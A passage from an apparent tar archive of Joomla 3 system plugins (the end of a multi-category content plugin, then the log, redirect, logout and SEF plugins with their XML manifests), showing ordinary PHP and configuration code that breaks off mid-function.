        $catArticles = $this->getMultiCatsArticles($catid);
        $catArticles = (empty($catArticles)) ? array() : $catArticles;

        if(count($catArticles))
        {
            $itemsModel->setState('filter.category_id', '');
            $itemsModel->setState('filter.article_id.include', true);
            $itemsModel->setState('filter.article_id', $catArticles);
        }
    }

    /** Подмена модели категории контента.
     * @throws Exception
     */
    public function onAfterRoute()
    {
        $option = $this->input->getString('option', '');

        if($this->isAdmin || $option != 'com_content')
        {
            return;
        }

        $suffix = version_compare(JVERSION, '3.5.0', '<') ? '' : '35';
        if(!class_exists('ContentModelCategory'))
            require_once JPATH_ROOT.'/plugins/system/contentmulticategories/classes/category'.$suffix.'.php';
    }

    public function onContentPrepare($context='com_content.article', &$item, &$params, $offset)
    {
        $option = $this->input->getString('option', '');
        if($this->params->get('target', 'default') == 'default' || $this->isAdmin || ($context !='com_content.article' && $context !='com_content.category') || $option != 'com_content')
            return true;


        $view = $this->input->getString('view', '');
        if($view == 'category'){
            $catid = $this->input->getInt('id', 0);
            if($catid != $item->catid){
                $catData = $this->getCatData($catid);
                $item->catid = $catid;
                $item->category_title = $catData->title;
                $item->category_alias = $catData->alias;
                $item->category_access = $catData->access;
                $item->catslug = $catid.':'.$catData->alias;
                $slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
                $item->readmore_link = JRoute::_(ContentHelperRoute::getArticleRoute($slug, $item->catid, $item->language));
                $this->app->setUserState('contentmulticategories.previous_category_'.$item->id, $catid);
            }
        }
        else if($view == 'article'){
            $catid = $this->app->getUserState('contentmulticategories.previous_category_'.$item->id, 0);
            if($catid != 0 && $catid != $item->catid){
                $document = JFactory::getDocument();
                $document->addHeadLink($item->readmore_link, 'canonical');
                $catData = $this->getCatData($catid);
                $item->catid = $catid;
                $item->category_title = $catData->title;
                $item->category_alias = $catData->alias;
                $item->category_access = $catData->access;
                $item->catslug = $catid.':'.$catData->alias;
                $slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
                $item->readmore_link = JRoute::_(ContentHelperRoute::getArticleRoute($slug, $item->catid, $item->language));

            }
        }
        return true;
    }

    private function getCatData($catid){
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('alias, title, access')->from('#__categories')->where('id = '.$db->quote($catid));
        $result = $db->setQuery($query,0,1)->loadObject();
        return $result;
    }

    private function getSelectedMultiCats($articleId)
    {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('`category_id`')
            ->from('`#__contentmulticategories_categories`')
            ->where('`article_id` = '.$db->quote($articleId));
        $result = $db->setQuery($query)->loadColumn();

        if(!is_array($result) || !count($result))
        {
            return array();
        }
        return $result;
    }

    private function getMultiCatsArticles($categoryId)
    {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select('`article_id`')
            ->from('`#__contentmulticategories_categories`')
            ->where('`category_id` = '.$db->quote($categoryId));
        $result1 = $db->setQuery($query)->loadColumn();

        if(!is_array($result1) || !count($result1))
        {
            $result1 = array();
        }

        $query->clear()
            ->select('`id`')
            ->from('`#__content`')
            ->where('`catid` = '.$db->quote($categoryId));
        $result2 = $db->setQuery($query)->loadColumn();

        if(!is_array($result2) || !count($result2))
        {
            $result2 = array();
        }

        $result = array_merge($result1, $result2);
        $result = array_unique($result);

        if(!is_array($result) || !count($result))
        {
            return array();
        }
        return $result;
    }

    private function deleteMultiCats($articleId)
    {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);

        $query->delete('`#__contentmulticategories_categories`')
            ->where('`article_id` = '.$db->quote($articleId));
        $db->setQuery($query)->execute();
    }

    private function saveMultiCats($multiCats, $articleId)
    {
        $multiCats = array_unique($multiCats);

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);

        $query->delete('`#__contentmulticategories_categories`')
            ->where('`article_id` = '.$db->quote($articleId));
        $db->setQuery($query)->execute();

        if(count($multiCats) > 0)
        {
            foreach($multiCats as $v)
            {
                $v = (int)$v;

                if($v == 0)
                {
                    continue;
                }
                $object = new stdClass();
                $object->category_id = $v;
                $object->article_id = $articleId;
                $db->insertObject('#__contentmulticategories_categories', $object);
            }
        }
    }
}
                                                                                                                                                  system/log/log.xml                                                                                  0000705                 00000002236 15242051521 0010152 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_log</name>
	<author>Joomla! Project</author>
	<creationDate>April 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_LOG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="log">log.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_log.ini</language>
		<language tag="en-GB">en-GB.plg_system_log.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="log_username"
					type="radio"
					label="PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL"
					description="PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                  system/log/log.php                                                                                  0000705                 00000003010 15242051521 0010130 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.log
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! System Logging Plugin.
 *
 * @since  1.5
 */
class PlgSystemLog extends JPlugin
{
	/**
	 * Called if user fails to be logged in.
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onUserLoginFailure($response)
	{
		$errorlog = array();

		switch ($response['status'])
		{
			case JAuthentication::STATUS_SUCCESS:
				$errorlog['status']  = $response['type'] . ' CANCELED: ';
				$errorlog['comment'] = $response['error_message'];
				break;

			case JAuthentication::STATUS_FAILURE:
				$errorlog['status']  = $response['type'] . ' FAILURE: ';

				if ($this->params->get('log_username', 0))
				{
					$errorlog['comment'] = $response['error_message'] . ' ("' . $response['username'] . '")';
				}
				else
				{
					$errorlog['comment'] = $response['error_message'];
				}
				break;

			default:
				$errorlog['status']  = $response['type'] . ' UNKNOWN ERROR: ';
				$errorlog['comment'] = $response['error_message'];
				break;
		}

		JLog::addLogger(array(), JLog::INFO);

		try
		{
			JLog::add($errorlog['comment'], JLog::INFO, $errorlog['status']);
		}
		catch (Exception $e)
		{
			// If the log file is unwriteable during login then we should not go to the error page
			return;
		}
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        system/log/index.html                                                                               0000705                 00000000037 15242051521 0010641 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/redirect/redirect.php                                                                        0000705                 00000023045 15242051521 0012202 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * Plugin class for redirect handling.
 *
 * @since  1.6
 */
class PlgSystemRedirect extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.4
	 */
	protected $autoloadLanguage = false;

	/**
	 * The global exception handler registered before the plugin was instantiated
	 *
	 * @var    callable
	 * @since  3.6
	 */
	private static $previousExceptionHandler;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Set the JError handler for E_ERROR to be the class' handleError method.
		JError::setErrorHandling(E_ERROR, 'callback', array('PlgSystemRedirect', 'handleError'));

		// Register the previously defined exception handler so we can forward errors to it
		self::$previousExceptionHandler = set_exception_handler(array('PlgSystemRedirect', 'handleException'));
	}

	/**
	 * Method to handle an error condition from JError.
	 *
	 * @param   JException  $error  The JException object to be handled.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function handleError(JException $error)
	{
		self::doErrorHandling($error);
	}

	/**
	 * Method to handle an uncaught exception.
	 *
	 * @param   Exception|Throwable  $exception  The Exception or Throwable object to be handled.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 * @throws  InvalidArgumentException
	 */
	public static function handleException($exception)
	{
		// If this isn't a Throwable then bail out
		if (!($exception instanceof Throwable) && !($exception instanceof Exception))
		{
			throw new InvalidArgumentException(
				sprintf('The error handler requires an Exception or Throwable object, a "%s" object was given instead.', get_class($exception))
			);
		}

		self::doErrorHandling($exception);
	}

	/**
	 * Internal processor for all error handlers
	 *
	 * @param   Exception|Throwable  $error  The Exception or Throwable object to be handled.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private static function doErrorHandling($error)
	{
		$app = JFactory::getApplication();

		if ($app->isClient('administrator') || ((int) $error->getCode() !== 404))
		{
			// Proxy to the previous exception handler if available, otherwise just render the error page
			if (self::$previousExceptionHandler)
			{
				call_user_func_array(self::$previousExceptionHandler, array($error));
			}
			else
			{
				JErrorPage::render($error);
			}
		}

		$uri = JUri::getInstance();

		// These are the original URLs
		$orgurl                = rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment')));
		$orgurlRel             = rawurldecode($uri->toString(array('path', 'query', 'fragment')));

		// The above doesn't work for sub directories, so do this
		$orgurlRootRel         = str_replace(JUri::root(), '', $orgurl);

		// For when users have added / to the url
		$orgurlRootRelSlash    = str_replace(JUri::root(), '/', $orgurl);
		$orgurlWithoutQuery    = rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'fragment')));
		$orgurlRelWithoutQuery = rawurldecode($uri->toString(array('path', 'fragment')));

		// These are the URLs we save and use
		$url                = StringHelper::strtolower(rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment'))));
		$urlRel             = StringHelper::strtolower(rawurldecode($uri->toString(array('path', 'query', 'fragment'))));

		// The above doesn't work for sub directories, so do this
		$urlRootRel         = str_replace(JUri::root(), '', $url);

		// For when users have added / to the url
		$urlRootRelSlash    = str_replace(JUri::root(), '/', $url);
		$urlWithoutQuery    = StringHelper::strtolower(rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'fragment'))));
		$urlRelWithoutQuery = StringHelper::strtolower(rawurldecode($uri->toString(array('path', 'fragment'))));

		$plugin = JPluginHelper::getPlugin('system', 'redirect');

		$params = new Registry($plugin->params);

		$excludes = (array) $params->get('exclude_urls');

		$skipUrl = false;

		foreach ($excludes as $exclude)
		{
			if (empty($exclude->term))
			{
				continue;
			}

			if (!empty($exclude->regexp))
			{
				// Only check $url, because it includes all other sub urls
				if (preg_match('/' . $exclude->term . '/i', $orgurlRel))
				{
					$skipUrl = true;
					break;
				}
			}
			else
			{
				if (StringHelper::strpos($orgurlRel, $exclude->term) !== false)
				{
					$skipUrl = true;
					break;
				}
			}
		}

		// Why is this (still) here?
		if ($skipUrl || (strpos($url, 'mosConfig_') !== false) || (strpos($url, '=http://') !== false))
		{
			JErrorPage::render($error);
		}

		$db = JFactory::getDbo();

		$query = $db->getQuery(true);

		$query->select('*')
			->from($db->quoteName('#__redirect_links'))
			->where(
				'('
				. $db->quoteName('old_url') . ' = ' . $db->quote($url)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRootRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRootRelSlash)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlWithoutQuery)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRelWithoutQuery)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurl)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRootRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRootRelSlash)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlWithoutQuery)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRelWithoutQuery)
				. ')'
			);

		$db->setQuery($query);

		$redirect = null;

		try
		{
			$redirects = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			JErrorPage::render(new Exception(JText::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));
		}

		$possibleMatches = array_unique(
			array(
				$url,
				$urlRel,
				$urlRootRel,
				$urlRootRelSlash,
				$urlWithoutQuery,
				$urlRelWithoutQuery,
				$orgurl,
				$orgurlRel,
				$orgurlRootRel,
				$orgurlRootRelSlash,
				$orgurlWithoutQuery,
				$orgurlRelWithoutQuery,
			)
		);

		foreach ($possibleMatches as $match)
		{
			if (($index = array_search($match, array_column($redirects, 'old_url'))) !== false)
			{
				$redirect = (object) $redirects[$index];

				if ((int) $redirect->published === 1)
				{
					break;
				}
			}
		}

		// A redirect object was found and, if published, will be used
		if ($redirect !== null && ((int) $redirect->published === 1))
		{
			if (!$redirect->header || (bool) JComponentHelper::getParams('com_redirect')->get('mode', false) === false)
			{
				$redirect->header = 301;
			}

			if ($redirect->header < 400 && $redirect->header >= 300)
			{
				$urlQuery = $uri->getQuery();

				$oldUrlParts = parse_url($redirect->old_url);

				$newUrl = $redirect->new_url;

				if ($urlQuery !== '' && empty($oldUrlParts['query']))
				{
					$newUrl .= '?' . $urlQuery;
				}

				$dest = JUri::isInternal($newUrl) || strpos($newUrl, 'http') === false ?
					JRoute::_($newUrl) : $newUrl;

				// In case the url contains double // lets remove it
				$destination = str_replace(JUri::root() . '/', JUri::root(), $dest);

				// Always count redirect hits
				$redirect->hits++;

				try
				{
					$db->updateObject('#__redirect_links', $redirect, 'id');
				}
				catch (Exception $e)
				{
					// We don't log issues for now
				}

				$app->redirect($destination, (int) $redirect->header);
			}

			JErrorPage::render(new RuntimeException($error->getMessage(), $redirect->header, $error));
		}
		// No redirect object was found so we create an entry in the redirect table
		elseif ($redirect === null)
		{
			$params = new Registry(JPluginHelper::getPlugin('system', 'redirect')->params);

			if ((bool) $params->get('collect_urls', 1))
			{
				if (!$params->get('includeUrl', 1))
				{
					$url = $urlRel;
				}

				$data = (object) array(
					'id' => 0,
					'old_url' => $url,
					'referer' => $app->input->server->getString('HTTP_REFERER', ''),
					'hits' => 1,
					'published' => 0,
					'created_date' => JFactory::getDate()->toSql()
				);

				try
				{
					$db->insertObject('#__redirect_links', $data, 'id');
				}
				catch (Exception $e)
				{
					JErrorPage::render(new Exception(JText::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));
				}
			}
		}
		// We have an unpublished redirect object, increment the hit counter
		else
		{
			$redirect->hits++;

			try
			{
				$db->updateObject('#__redirect_links', $redirect, 'id');
			}
			catch (Exception $e)
			{
				JErrorPage::render(new Exception(JText::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));
			}
		}

		// Proxy to the previous exception handler if available, otherwise just render the error page
		if (self::$previousExceptionHandler)
		{
			call_user_func_array(self::$previousExceptionHandler, array($error));
		}
		else
		{
			JErrorPage::render($error);
		}
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           system/redirect/redirect.xml                                                                        0000705                 00000003524 15242051521 0012213 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_redirect</name>
	<author>Joomla! Project</author>
	<creationDate>April 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_REDIRECT_XML_DESCRIPTION</description>
	<files>
		<folder>form</folder>
		<filename plugin="redirect">redirect.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_redirect.ini</language>
		<language tag="en-GB">en-GB.plg_system_redirect.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="collect_urls"
					type="radio"
					label="PLG_SYSTEM_REDIRECT_FIELD_COLLECT_URLS_LABEL"
					description="PLG_SYSTEM_REDIRECT_FIELD_COLLECT_URLS_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JENABLED</option>
					<option value="0">JDISABLED</option>
				</field>
				<field
					name="includeUrl"
					type="radio"
					label="PLG_SYSTEM_REDIRECT_FIELD_STORE_FULL_URL_LABEL"
					description="PLG_SYSTEM_REDIRECT_FIELD_STORE_FULL_URL_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
				<field
					name="exclude_urls"
					type="subform"
					label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_LABEL"
					description="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_DESC"
					multiple="true"
					formsource="plugins/system/redirect/form/excludes.xml"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                            system/redirect/form/excludes.xml                                                                   0000705                 00000000726 15242051521 0013172 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="term"
			type="text"
			label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_TERM_LABEL"
			description="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_TERM_DESC"
			required="true"
		/>
		<field
			name="regexp"
			type="checkbox"
			label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_REGEXP_LABEL"
			description="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_REGEXP_DESC"
			filter="integer"
		/>
	</fieldset>
</form>
                                          system/redirect/index.html                                                                          0000705                 00000000037 15242051521 0011661 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/logout/logout.php                                                                            0000705                 00000005302 15242051521 0011416 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.logout
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin class for logout redirect handling.
 *
 * @since  1.6
 */
class PlgSystemLogout extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.7.3
	 */
	protected $app;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe -- event dispatcher.
	 * @param   object  $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// If we are on admin don't process.
		if (!$this->app->isClient('site'))
		{
			return;
		}

		$hash  = JApplicationHelper::getHash('PlgSystemLogout');

		if ($this->app->input->cookie->getString($hash))
		{
			// Destroy the cookie.
			$this->app->input->cookie->set($hash, '', 1, $this->app->get('cookie_path', '/'), $this->app->get('cookie_domain', ''));

			// Set the error handler for E_ALL to be the class handleError method.
			JError::setErrorHandling(E_ALL, 'callback', array('PlgSystemLogout', 'handleError'));
		}
	}

	/**
	 * Method to handle any logout logic and report back to the subject.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (client, ...).
	 *
	 * @return  boolean  Always returns true.
	 *
	 * @since   1.6
	 */
	public function onUserLogout($user, $options = array())
	{
		if ($this->app->isClient('site'))
		{
			// Create the cookie.
			$this->app->input->cookie->set(
				JApplicationHelper::getHash('PlgSystemLogout'),
				true,
				time() + 86400,
				$this->app->get('cookie_path', '/'),
				$this->app->get('cookie_domain', ''),
				$this->app->isHttpsForced(),
				true
			);
		}

		return true;
	}

	/**
	 * Method to handle an error condition.
	 *
	 * @param   Exception  &$error  The Exception object to be handled.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function handleError(&$error)
	{
		// Get the application object.
		$app = JFactory::getApplication();

		// Make sure the error is a 403 and we are in the frontend.
		if ($error->getCode() == 403 && $app->isClient('site'))
		{
			// Redirect to the home page.
			$app->enqueueMessage(JText::_('PLG_SYSTEM_LOGOUT_REDIRECT'));
			$app->redirect('index.php');
		}
		else
		{
			// Render the custom error page.
			JError::customErrorPage($error);
		}
	}
}
                                                                                                                                                                                                                                                                                                                              system/logout/logout.xml                                                                            0000705                 00000001403 15242051521 0011425 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_logout</name>
	<author>Joomla! Project</author>
	<creationDate>April 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LOGOUT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="logout">logout.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_logout.ini</language>
		<language tag="en-GB">en-GB.plg_system_logout.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                                             system/logout/index.html                                                                            0000705                 00000000037 15242051521 0011371 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/sef/index.html                                                                               0000705                 00000000037 15242051521 0010635 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/sef/sef.php                                                                                  0000705                 00000016210 15242051521 0010126 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.sef
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! SEF Plugin.
 *
 * @since  1.5
 */
class PlgSystemSef extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.5
	 */
	protected $app;

	/**
	 * Add the canonical uri to the head.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterDispatch()
	{
		$doc = $this->app->getDocument();

		if (!$this->app->isClient('site') || $doc->getType() !== 'html')
		{
			return;
		}

		$sefDomain = $this->params->get('domain', false);

		// Don't add a canonical html tag if no alternative domain has added in SEF plugin domain field.
		if (empty($sefDomain))
		{
			return;
		}

		// Check if a canonical html tag already exists (for instance, added by a component).
		$canonical = '';

		foreach ($doc->_links as $linkUrl => $link)
		{
			if (isset($link['relation']) && $link['relation'] === 'canonical')
			{
				$canonical = $linkUrl;
				break;
			}
		}

		// If a canonical html tag already exists get the canonical and change it to use the SEF plugin domain field.
		if (!empty($canonical))
		{
			// Remove current canonical link.
			unset($doc->_links[$canonical]);

			// Set the current canonical link but use the SEF system plugin domain field.
			$canonical = $sefDomain . JUri::getInstance($canonical)->toString(array('path', 'query', 'fragment'));
		}
		// If a canonical html doesn't exists already add a canonical html tag using the SEF plugin domain field.
		else
		{
			$canonical = $sefDomain . JUri::getInstance()->toString(array('path', 'query', 'fragment'));
		}

		// Add the canonical link.
		$doc->addHeadLink(htmlspecialchars($canonical), 'canonical');
	}

	/**
	 * Convert the site URL to fit to the HTTP request.
	 *
	 * @return  void
	 */
	public function onAfterRender()
	{
		if (!$this->app->isClient('site'))
		{
			return;
		}

		// Replace src links.
		$base   = JUri::base(true) . '/';
		$buffer = $this->app->getBody();

		// For feeds we need to search for the URL with domain.
		$prefix = $this->app->getDocument()->getType() === 'feed' ? JUri::root() : '';

		// Replace index.php URI by SEF URI.
		if (strpos($buffer, 'href="' . $prefix . 'index.php?') !== false)
		{
			preg_match_all('#href="' . $prefix . 'index.php\?([^"]+)"#m', $buffer, $matches);

			foreach ($matches[1] as $urlQueryString)
			{
				$buffer = str_replace(
					'href="' . $prefix . 'index.php?' . $urlQueryString . '"',
					'href="' . trim($prefix, '/') . JRoute::_('index.php?' . $urlQueryString) . '"',
					$buffer
				);
			}

			$this->checkBuffer($buffer);
		}

		// Check for all unknown protocols (a protocol must contain at least one alphanumeric character followed by a ":").
		$protocols  = '[a-zA-Z0-9\-]+:';
		$attributes = array('href=', 'src=', 'poster=');

		foreach ($attributes as $attribute)
		{
			if (strpos($buffer, $attribute) !== false)
			{
				$regex  = '#\s' . $attribute . '"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
				$buffer = preg_replace($regex, ' ' . $attribute . '"' . $base . '$1"', $buffer);
				$this->checkBuffer($buffer);
			}
		}

		if (strpos($buffer, 'srcset=') !== false)
		{
			$regex = '#\s+srcset="([^"]+)"#m';

			$buffer = preg_replace_callback(
				$regex,
				function ($match) use ($base, $protocols)
				{
					preg_match_all('#(?:[^\s]+)\s*(?:[\d\.]+[wx])?(?:\,\s*)?#i', $match[1], $matches);

					foreach ($matches[0] as &$src)
					{
						$src = preg_replace('#^(?!/|' . $protocols . '|\#|\')(.+)#', $base . '$1', $src);
					}

					return ' srcset="' . implode($matches[0]) . '"';
				},
				$buffer
			);

			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in javascript window open events.
		if (strpos($buffer, 'window.open(') !== false)
		{
			$regex  = '#onclick="window.open\(\'(?!/|' . $protocols . '|\#)([^/]+[^\']*?\')#m';
			$buffer = preg_replace($regex, 'onclick="window.open(\'' . $base . '$1', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in onmouseover and onmouseout attributes.
		$attributes = array('onmouseover=', 'onmouseout=');

		foreach ($attributes as $attribute)
		{
			if (strpos($buffer, $attribute) !== false)
			{
				$regex  = '#' . $attribute . '"this.src=([\']+)(?!/|' . $protocols . '|\#|\')([^"]+)"#m';
				$buffer = preg_replace($regex, $attribute . '"this.src=$1' . $base . '$2"', $buffer);
				$this->checkBuffer($buffer);
			}
		}

		// Replace all unknown protocols in CSS background image.
		if (strpos($buffer, 'style=') !== false)
		{
			$regex_url  = '\s*url\s*\(([\'\"]|\&\#0?3[49];)?(?!/|\&\#0?3[49];|' . $protocols . '|\#)([^\)\'\"]+)([\'\"]|\&\#0?3[49];)?\)';
			$regex  = '#style=\s*([\'\"])(.*):' . $regex_url . '#m';
			$buffer = preg_replace($regex, 'style=$1$2: url($3' . $base . '$4$5)', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in OBJECT param tag.
		if (strpos($buffer, '<param') !== false)
		{
			// OBJECT <param name="xx", value="yy"> -- fix it only inside the <param> tag.
			$regex  = '#(<param\s+)name\s*=\s*"(movie|src|url)"[^>]\s*value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
			$buffer = preg_replace($regex, '$1name="$2" value="' . $base . '$3"', $buffer);
			$this->checkBuffer($buffer);

			// OBJECT <param value="xx", name="yy"> -- fix it only inside the <param> tag.
			$regex  = '#(<param\s+[^>]*)value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"\s*name\s*=\s*"(movie|src|url)"#m';
			$buffer = preg_replace($regex, '<param value="' . $base . '$2" name="$3"', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in OBJECT tag.
		if (strpos($buffer, '<object') !== false)
		{
			$regex  = '#(<object\s+[^>]*)data\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
			$buffer = preg_replace($regex, '$1data="' . $base . '$2"', $buffer);
			$this->checkBuffer($buffer);
		}

		// Use the replaced HTML body.
		$this->app->setBody($buffer);
	}

	/**
	 * Check the buffer.
	 *
	 * @param   string  $buffer  Buffer to be checked.
	 *
	 * @return  void
	 */
	private function checkBuffer($buffer)
	{
		if ($buffer === null)
		{
			switch (preg_last_error())
			{
				case PREG_BACKTRACK_LIMIT_ERROR:
					$message = 'PHP regular expression limit reached (pcre.backtrack_limit)';
					break;
				case PREG_RECURSION_LIMIT_ERROR:
					$message = 'PHP regular expression limit reached (pcre.recursion_limit)';
					break;
				case PREG_BAD_UTF8_ERROR:
					$message = 'Bad UTF8 passed to PCRE function';
					break;
				default:
					$message = 'Unknown PCRE error calling PCRE function';
			}

			throw new RuntimeException($message);
		}
	}

	/**
	 * Replace the matched tags.
	 *
	 * @param   array  &$matches  An array of matches (see preg_match_all).
	 *
	 * @return  string
	 *
	 * @deprecated  4.0  No replacement.
	 */
	protected static function route(&$matches)
	{
